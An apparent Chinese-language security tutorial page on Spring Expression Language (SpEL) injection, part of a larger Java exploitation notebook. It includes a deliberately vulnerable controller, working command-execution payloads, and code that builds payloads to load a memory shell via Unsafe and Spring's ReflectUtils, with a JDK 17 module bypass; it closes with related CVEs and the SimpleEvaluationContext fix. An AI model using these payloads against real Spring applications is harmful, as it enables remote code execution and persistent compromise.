Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 What Is SpEL
  • 0x02 Way To Attack
  • 0x03 Injection Tricks
  • 0x04 CVE To Study
  • 0x05 Patch

Was this helpful?

  1. 🍺Others

Spel Attack

0x01 What Is SpEL

SpEL:Spring Expression Language 一种表达式语言,支持在运行时查询和操作对象图,类似于EL表达式。

SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

SpEL基本语法: SpEL使用 #{...}作为定界符,大括号内被视为SpEL表达式,里面可以使用运算符,变量,调用方法等。使用 T() 运算符会调用类作用域的方法和常量,如#{T(java.lang.Math)}返回一个java.lang.Math类对象

#{}和${}的区别:

  • #{} 用于执行SpEl表达式,并将内容赋值给属性

  • ${} 主要用于加载外部属性文件中的值

SpEL常用在三个地方。

  1. Value注解 (注:这个类要通过依赖注入才能使Value注解生效,直接new对象是不行的)

    package com.example.demo1.bean;
    
    import org.springframework.beans.factory.annotation.Value;
    import org.springframework.context.annotation.PropertySource;
    import org.springframework.stereotype.Component;
    
    @Component
    @PropertySource({"classpath:/configure.properties"})
    public class User {
        @Value("${spring.user.name}")
        public String userName; // 值来自application.properties
        @Value("${home.dorm}")
        public String address; // 值来自configure.properties(放在resources文件夹下)
        @Value("#{T(java.lang.Math).random()}")
        public double age;
        @Value("#{systemProperties['os.name']}")
        public String sys; // 注入操作系统属性
    }
    // configure.properties
    home.dorm=Room402,Unit4,Building3,No.34.LousyLoad
    // application.properti
    spring.user.name=Taco

    输出如下: User{userName='Taco', address='Room402,Unit4,Building3,No.34.LousyLoad', age=0.5913714334107036, sys='Windows 10'}

  2. XML

    <bean id="Book" class="com.example.bean">
    	<property name="author" value="#{表达式}">
    </bean>
  3. Expression接口

    @Test
    public void spelTest() {
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression("('Hello '+'SpEL').concat(#end)");
        EvaluationContext context = new StandardEvaluationContext();
        context.setVariable("end", "!");
        System.out.println(expression.getValue(context));
    }

    输出Hello SpEL!

0x02 Way To Attack

实际情况下,一般都是基于上面第三种SpEL的使用场景出现的漏洞。 下面简单分析一下SpEL在求表达式值的过程

1.创建解析器 new SpelExpressionParser() 2.解析表达式 parseExpression(your_expression) 3.构造上下文 new StandardEvaluationContext() 默认为这个 4.求值 expression.getValue(context)

漏洞利用前提

1.服务器接收用户输入的表达式 2.表达式解析之后调用了getValue 3.使用StandardEvaluationContext作为上下文对象

@RestController
public class SpELController {
    @GetMapping("spel")
    public String spel(@RequestParam(name="cmd")String cmd) {
        System.out.println("Hello SpEL!!!");
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(cmd);
        Object obj = expression.getValue();
        return obj.toString();
    }
}

这段代码中,可注入的点在请求参数cmd 访问http://localhost:8080/spel?cmd=T(java.lang.Runtime).getRuntime().exec(%27calc%27) 成功弹出计算器

0x03 Injection Tricks

一些trivial的payload

new java.lang.ProcessBuilder(new String[]{"caslc"}).start()
T(java.lang.Runtime).getRuntime().exec("calc")

命令执行带返回结果的:

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("whoami").start().getInputStream())).readLine()
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream(), "GBK").useDelimiter("xxx").next()

利用js引擎可以实现更加复杂的操作,如注入内存马

public static void main(String[] args) throws Exception {
    byte[] bytes = ClassPool.getDefault().get("EvilInterceptor").toBytecode();
    String s = Base64.getEncoder().encodeToString(bytes);
    String cmd = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(\"" + makeJsDefinedClass("EvilInterceptor", s) + "\")";
    System.out.println(cmd);
}

public static String makeJsDefinedClass(String classname, String encoded) {
    return "var data = '" + encoded + "';" +
        "var bytes = java.util.Base64.getDecoder().decode(data);" +
        "var cls = java.lang.Class.forName('sun.nio.ch.Util');" +
        "var method = cls.getDeclaredMethod('unsafe');" +
        "method.setAccessible(true);" +
        "var unsafe = method.invoke(cls);" +
        "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();" +
        "var evil = unsafe.defineClass('" + classname + "', bytes, 0, bytes.length, classLoader, null);" +
        "evil.newInstance();";
}

这里利用的是Unsafe去defineClass加载字节码

实际上Spring框架中org.springframework.cglib.core.ReflectUtils就提供了一系列反射有关的方法,其中就包括了字节码加载defineClass。

byte[] bytes = ClassPool.getDefault().get("EvilInterceptor").toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
String cmd = "T(org.springframework.cglib.core.ReflectUtils).defineClass('EvilInterceptor',T(org.springframework.util.Base64Utils).decodeFromString('" + s + "'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
System.out.println(cmd);

高版本JDK(>=9)引入了命名模块机制,java.*下的非公开变量和方法不能被其他模块直接访问,JDK11还只会提示warning,而在JDK17中会强制开启,直接报错

上面的payload执行后会报错

java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @635eaaf1

java.lang.ClassLoader#defineClass不是公开方法,无法被其他模块访问

当然Spring也提供了相应的解决方案,就是利用方法句柄的API来定义类

// Preferred option: JDK 9+ Lookup.defineClass API if ClassLoader matches
if (contextClass != null && contextClass.getClassLoader() == loader &&
    privateLookupInMethod != null && lookupDefineClassMethod != null) {
    try {
        MethodHandles.Lookup lookup = (MethodHandles.Lookup)
            privateLookupInMethod.invoke(null, contextClass, MethodHandles.lookup());
        c = (Class) lookupDefineClassMethod.invoke(lookup, b);
    } // ...
}

但MethodHandles$Lookup#defineClass(JDK8中没有这个方法)要求定义的类需要和Lookup对象的目标类的package一致才行。这里的目标类就是传入ReflectionUtils#defineClass的上下文类contextClass。

随便选了org.springframework.expression下的一个类ExpressionParser

byte[] bytes = ClassPool.getDefault().get("org.springframework.expression.EvilInterceptor").toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
String cmd = "T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.EvilInterceptor',T(java.util.Base64).getDecoder().decode('" + s + "'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))";
System.out.println(cmd);

0x04 CVE To Study

  • CVE-2022-22980 Spring Data MongoDB SpEL表达式注入

  • CVE-2022-22963 SpringCloud Function SpEL表达式注入

  • CVE-2022-22947 Spring Cloud Gateway 远程代码执行

0x05 Patch

SimpleEvaluationContext、StandardEvaluationContext 是 SpEL提供的两个 EvaluationContext

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用

用SimpleEvaluationContext替换默认的StandardEvaluationContext,就能有效防止恶意SpEL表达式的执行。

PreviousEl AttackNextC3P0原生反序列化的JNDI打法

Last updated 7 months ago

Was this helpful?

image-20240517132913363